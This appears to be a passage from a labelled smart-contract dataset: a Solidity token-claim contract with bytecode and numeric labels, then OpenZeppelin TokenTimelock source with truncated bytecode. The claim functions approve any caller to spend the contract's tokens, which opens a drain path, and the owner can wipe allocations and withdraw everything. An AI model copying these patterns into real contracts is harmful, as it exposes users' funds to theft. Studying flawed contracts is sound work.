0x91920Ad1664D284867efDb630221B48ac9d8e9dE ] = 18562500 ; privAllo [ 0x989303a0A5A60956267bcA39f5441863cb46c6f2 ] = 18562500 ; privAllo [ 0x98E413b4c377be827DeCdbA8A1b6802F7b4A9aC9 ] = 3712500 ; privAllo [ 0x9d4979cD1861a73c62a6DCAF698f7b812318cf29 ] = 3712500 ; privAllo [ 0x9e51a28349c8a68C6Bf55080784E4E87C85A1f44 ] = 18562500 ; privAllo [ 0x9ef28887781E9AD0B1abA2e0693A3F8A69716CaE ] = 9281250 ; privAllo [ 0xA4b1a7D82b63280d259006adBCB7FB61624B68b9 ] = 18562500 ; privAllo [ 0xBEC826E8b78E52093Df8d4169f506F41A6bFE15e ] = 9281250 ; privAllo [ 0xC14C43fB61794E803916E3C66fc963F77d7aC095 ] = 18562500 ; privAllo [ 0xC1f1dc0029B41cc2c2861Af71fD38Aa5198b3Be9 ] = 18562500 ; privAllo [ 0xc4C2a5F9C40A76C6C8ec898Dc3c0A6220E196368 ] = 18568316 ; privAllo [ 0xD0c2314A9C74dD4Eb514add7eA4fe1b06E6222C8 ] = 9281250 ; privAllo [ 0xD105609E711ce3771215045864F2Cf0FaE91A70e ] = 18562500 ; privAllo [ 0xd40bCbce6AC514c2E7EC9620E60C4376F4BA99dc ] = 7425000 ; privAllo [ 0xD538E9D5557AdC430A0DAC13E8AD1dddb0c6B509 ] = 18564750 ; privAllo [ 0xD5cb038b181dA859a0b5D0601270e1dc1D9c02be ] = 3712500 ; privAllo [ 0xdF3f38d3BEd0aCac7cDC0f15514F1710137A6e75 ] = 9281250 ; privAllo [ 0xE71FDA8eB295D2603704fC2b0994E483671c33B4 ] = 18562500 ; privAllo [ 0xf7dEa950Bbf1c17cd55c0E886Fb1811c54691770 ] = 14850000 ; privAllo [ 0xF803f4FF8A1647531aaA70B89cCC23Db3103A613 ] = 3712500 ; privAllo [ 0xf9381b5e6Ab94c2775d8a8F14C30B7d8C7FAa2a3 ] = 18562500 ; privAllo [ 0xFc4d1E48bF228346a39c6af3b78B19ECCA1cFC98 ] = 9281250 ; privAllo [ 0xfE33e3E48b1BA04708037B9Da2F0D4caD7A42dfb ] = 9281250 ; privAllo [ 0xfF74F29B4A729E198093579D1e5E02A6DB903C39 ] = 9281250 ; } modifier owner { require(isOwner[msg.sender] == true); _; } function publicClaim1(address user) public{ require(hasClaimed_pub1[user] == false); uint amount = pubAllo[user] * 10**6; TOKEN.approve(address(this),amount); TOKEN.approve(msg.sender,amount); TOKEN.transferFrom(address(this),user,amount); hasClaimed_pub1[user] = true; } function publicClaim2(address user) public{ require(hasClaimed_pub2[user] == false); require(block.timestamp > claim2_timestamp); uint amount = pubAllo[user] * 10**6; TOKEN.approve(address(this),amount); TOKEN.approve(msg.sender,amount); TOKEN.transferFrom(address(this),user,amount); hasClaimed_pub2[user] = true; } function privateClaim1(address user) public{ require(hasClaimed_priv1[user] == false); uint amount = privAllo[user] * 10**6; TOKEN.approve(address(this),amount); TOKEN.approve(msg.sender,amount); TOKEN.transferFrom(address(this),user,amount); hasClaimed_priv1[user] = true; } function privateClaim2(address user) public{ require(block.timestamp > claim2_timestamp); require(hasClaimed_priv2[user] == false); uint amount = privAllo[user] * 10**6; TOKEN.approve(address(this),amount); TOKEN.approve(msg.sender,amount); TOKEN.transferFrom(address(this),user,amount); hasClaimed_priv2[user] = true; } function privateClaim3(address user) public{ require(block.timestamp > claim3_timestamp); require(hasClaimed_priv3[user] == false); uint amount = privAllo[user] * 10**6; TOKEN.approve(address(this),amount); TOKEN.approve(msg.sender,amount); TOKEN.transferFrom(address(this),user,amount); hasClaimed_priv3[user] = true; } function withdrawETH() public owner{ uint contractBalance = address(this).balance; payable(msg.sender).transfer(contractBalance); } function withdrawTokens(address token) public owner{ ERC20 _TOKEN = ERC20(token); uint contractBalance = _TOKEN.balanceOf(address(this)); _TOKEN.approve(address(this),contractBalance); _TOKEN.approve(msg.sender,contractBalance); _TOKEN.transferFrom(address(this), msg.sender, contractBalance); } function setTOKEN(address token) public owner{ suntoken = token; } function wipe(address user) public owner{ pubAllo[user] = 0; privAllo[user] = 0; } receive() external payable {} fallback() external payable {} }
0x60806040526004361061008a5760003560e01c8063b2d5115f11610059578063b2d5115f14610137578063b629ff7714610160578063de8c494314610189578063e086e5ec146101b2578063f07af742146101c957610091565b806305686dd21461009357806349df728c146100bc5780634f40d7a2146100e5578063988749d11461010e57610091565b3661009157005b005b34801561009f57600080fd5b506100ba60048036038101906100b591906116bf565b6101f2565b005b3480156100c857600080fd5b506100e360048036038101906100de91906116bf565b61051d565b005b3480156100f157600080fd5b5061010c600480360381019061010791906116bf565b6107bc565b005b34801561011a57600080fd5b50610135600480360381019061013091906116bf565b610ad9565b005b34801561014357600080fd5b5061015e600480360381019061015991906116bf565b610bc2565b005b34801561016c57600080fd5b50610187600480360381019061018291906116bf565b610eed565b005b34801561019557600080fd5b506101b060048036038101906101ab91906116bf565b610f8d565b005b3480156101be57600080fd5b506101c76112b8565b005b3480156101d557600080fd5b506101f060048036038101906101eb91906116bf565b611363565b005b600a54421161020057600080fd5b60001515600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151461025d57600080fd5b6000620f4240600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546102ad91906117df565b9050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b330836040518363ffffffff1660e01b815260040161030c9291906117b6565b602060405180830381600087803b15801561032657600080fd5b505af115801561033a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061035e91906116ec565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b333836040518363ffffffff1660e01b81526004016103bc9291906117b6565b602060405180830381600087803b1580156103d657600080fd5b505af11580156103ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061040e91906116ec565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3084846040518463ffffffff1660e01b815260040161046e9392919061177f565b602060405180830381600087803b15801561048857600080fd5b505af115801561049c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104c091906116ec565b506001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600115156000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151461057957600080fd5b600081905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016105b99190611764565b60206040518083038186803b1580156105d157600080fd5b505afa1580156105e5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106099190611719565b90508173ffffffffffffffffffffffffffffffffffffffff1663095ea7b330836040518363ffffffff1660e01b81526004016106469291906117b6565b602060405180830381600087803b15801561066057600080fd5b505af1158015610674573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069891906116ec565b508173ffffffffffffffffffffffffffffffffffffffff1663095ea7b333836040518363ffffffff1660e01b81526004016106d49291906117b6565b602060405180830381600087803b1580156106ee57600080fd5b505af1158015610702573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072691906116ec565b508173ffffffffffffffffffffffffffffffffffffffff166323b872dd3033846040518463ffffffff1660e01b81526004016107649392919061177f565b602060405180830381600087803b15801561077e57600080fd5b505af1158015610792573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b691906116ec565b50505050565b60001515600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151461081957600080fd5b6000620f4240600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461086991906117df565b9050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b330836040518363ffffffff1660e01b81526004016108c89291906117b6565b602060405180830381600087803b1580156108e257600080fd5b505af11580156108f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091a91906116ec565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b333836040518363ffffffff1660e01b81526004016109789291906117b6565b602060405180830381600087803b15801561099257600080fd5b505af11580156109a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ca91906116ec565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3084846040518463ffffffff1660e01b8152600401610a2a9392919061177f565b602060405180830381600087803b158015610a4457600080fd5b505af1158015610a58573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a7c91906116ec565b506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600115156000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610b3557600080fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b600b544211610bd057600080fd5b60001515600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610c2d57600080fd5b6000620f4240600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c7d91906117df565b9050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b330836040518363ffffffff1660e01b8152600401610cdc9291906117b6565b602060405180830381600087803b158015610cf657600080fd5b505af1158015610d0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2e91906116ec565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b333836040518363ffffffff1660e01b8152600401610d8c9291906117b6565b602060405180830381600087803b158015610da657600080fd5b505af1158015610dba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dde91906116ec565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3084846040518463ffffffff1660e01b8152600401610e3e9392919061177f565b602060405180830381600087803b158015610e5857600080fd5b505af1158015610e6c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e9091906116ec565b506001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600115156000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610f4957600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60001515600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610fea57600080fd5b600a544211610ff857600080fd5b6000620f4240600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461104891906117df565b9050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b330836040518363ffffffff1660e01b81526004016110a79291906117b6565b602060405180830381600087803b1580156110c157600080fd5b505af11580156110d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110f991906116ec565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b333836040518363ffffffff1660e01b81526004016111579291906117b6565b602060405180830381600087803b15801561117157600080fd5b505af1158015611185573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a991906116ec565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3084846040518463ffffffff1660e01b81526004016112099392919061177f565b602060405180830381600087803b15801561122357600080fd5b505af1158015611237573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061125b91906116ec565b506001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600115156000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151461131457600080fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561135f573d6000803e3d6000fd5b5050565b60001515600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146113c057600080fd5b6000620f4240600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461141091906117df565b9050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b330836040518363ffffffff1660e01b815260040161146f9291906117b6565b602060405180830381600087803b15801561148957600080fd5b505af115801561149d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c191906116ec565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b333836040518363ffffffff1660e01b815260040161151f9291906117b6565b602060405180830381600087803b15801561153957600080fd5b505af115801561154d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061157191906116ec565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3084846040518463ffffffff1660e01b81526004016115d19392919061177f565b602060405180830381600087803b1580156115eb57600080fd5b505af11580156115ff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061162391906116ec565b506001600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008135905061168f816118b5565b92915050565b6000815190506116a4816118cc565b92915050565b6000815190506116b9816118e3565b92915050565b6000602082840312156116d5576116d46118b0565b5b60006116e384828501611680565b91505092915050565b600060208284031215611702576117016118b0565b5b600061171084828501611695565b91505092915050565b60006020828403121561172f5761172e6118b0565b5b600061173d848285016116aa565b91505092915050565b61174f81611839565b82525050565b61175e81611877565b82525050565b60006020820190506117796000830184611746565b92915050565b60006060820190506117946000830186611746565b6117a16020830185611746565b6117ae6040830184611755565b949350505050565b60006040820190506117cb6000830185611746565b6117d86020830184611755565b9392505050565b60006117ea82611877565b91506117f583611877565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561182e5761182d611881565b5b828202905092915050565b600061184482611857565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600080fd5b6118be81611839565b81146118c957600080fd5b50565b6118d58161184b565b81146118e057600080fd5b50565b6118ec81611877565b81146118f757600080fd5b5056fea26469706673582212208936a22f878fb0f18a4606d6103ccdea4317034b43362921d2e42bc215a310ad64736f6c63430008060033
[ 5, 16, 7, 11 ]
0xF36Ad202897e3604058C25e81953Dd787497468e
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } pragma solidity ^0.8.0; /** * @dev A token holder contract that will allow a beneficiary to extract the * tokens after a given release time. * * Useful for simple vesting schedules like "advisors get all of their tokens * after 1 year". */ contract TokenTimelock { using SafeERC20 for IERC20; // ERC20 basic token contract being held IERC20 private immutable _token; // beneficiary of tokens after they are released address private immutable _beneficiary; // timestamp when token release is enabled uint256 private immutable _releaseTime; constructor( IERC20 token_, address beneficiary_, uint256 releaseTime_ ) { require(releaseTime_ > block.timestamp, "TokenTimelock: release time is before current time"); _token = token_; _beneficiary = beneficiary_; _releaseTime = releaseTime_; } /** * @return the token being held. */ function token() public view virtual returns (IERC20) { return _token; } /** * @return the beneficiary of the tokens. */ function beneficiary() public view virtual returns (address) { return _beneficiary; } /** * @return the time when the tokens are released. */ function releaseTime() public view virtual returns (uint256) { return _releaseTime; } /** * @notice Transfers tokens held by timelock to beneficiary. */ function release() public virtual { require(block.timestamp >= releaseTime(), "TokenTimelock: current time is before release time"); uint256 amount = token().balanceOf(address(this)); require(amount > 0, "TokenTimelock: no tokens to release"); token().safeTransfer(beneficiary(), amount); } function getLockedAmount() public view virtual returns (uint256) { uint256 amount = token().balanceOf(address(this)); return amount; } }
0x608060405234801561001057600080fd5b50600436106100575760003560e01c8063252bc8861461005c57806338af3eed1461007a57806386d1a69f14610098578063b91d4001146100a2578063fc0c546a146100c0575b600080fd5b6100646100de565b6040516100719190610944565b60405180910390f35b61008261017a565b60405161008f9190610823565b60405180910390f35b6100a06101a2565b005b6100aa6102ff565b6040516100b79190610944565b60405180910390f35b6100c8610327565b6040516100d59190610867565b60405180910390f35b6000806100e9610327565b73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016101219190610823565b60206040518083038186803b15801561013957600080fd5b505afa15801561014d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101719190610699565b90508091505090565b60007f000000000000000000000000621a32d9078fe794711622f2a7abb7495853fb93905090565b6101aa6102ff565b4210156101ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101e3906108a4565b60405180910390fd5b60006101f6610327565b73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161022e9190610823565b60206040518083038186803b15801561024657600080fd5b505afa15801561025a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061027e9190610699565b9050600081116102c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102ba90610924565b60405180910390fd5b6102fc6102ce61017a565b826102d7610327565b73ffffffffffffffffffffffffffffffffffffffff1661034f9092919063ffffffff16565b50565b60007f0000000000000000000000000000000000000000000000000000000062e698f0905090565b60007f000000000000000000000000aa2d8c9a8bd0f7945143bfd509be3ff23dd78918905090565b6103d08363a9059cbb60e01b848460405160240161036e92919061083e565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506103d5565b505050565b6000610437826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff1661049c9092919063ffffffff16565b90506000815111156104975780806020019051810190610457919061066c565b610496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161048d90610904565b60405180910390fd5b5b505050565b60606104ab84846000856104b4565b90509392505050565b6060824710156104f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f0906108c4565b60405180910390fd5b610502856105c8565b610541576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610538906108e4565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff16858760405161056a919061080c565b60006040518083038185875af1925050503d80600081146105a7576040519150601f19603f3d011682016040523d82523d6000602084013e6105ac565b606091505b50915091506105bc8282866105db565b92505050949350505050565b600080823b905060008111915050919050565b606083156105eb5782905061063b565b6000835111156105fe5782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106329190610882565b60405180910390fd5b9392505050565b60008151905061065181610bbd565b92915050565b60008151905061066681610bd4565b92915050565b60006020828403121561068257610681610a42565b5b600061069084828501610642565b91505092915050565b6000602082840312156106af576106ae610a42565b5b60006106bd84828501610657565b91505092915050565b6106cf81610991565b82525050565b60006106e08261095f565b6106ea8185610975565b93506106fa818560208601610a0f565b80840191505092915050565b61070f816109d9565b82525050565b60006107208261096a565b61072a8185610980565b935061073a818560208601610a0f565b61074381610a47565b840191505092915050565b600061075b603283610980565b915061076682610a58565b604082019050919050565b600061077e602683610980565b915061078982610aa7565b604082019050919050565b60006107a1601d83610980565b91506107ac82610af6565b602082019050919050565b60006107c4602a83610980565b91506107cf82610b1f565b604082019050919050565b60006107e7602383610980565b91506107f282610b6e565b604082019050919050565b610806816109cf565b82525050565b600061081882846106d5565b915081905092915050565b600060208201905061083860008301846106c6565b92915050565b600060408201905061085360008301856106c6565b61086060208301846107fd565b9392505050565b600060208201905061087c6000830184610706565b92915050565b6000602082019050818103600083015261089c8184610715565b905092915050565b600060208201905081810360008301526108bd8161074e565b9050919050565b600060208201905081810360008301526108d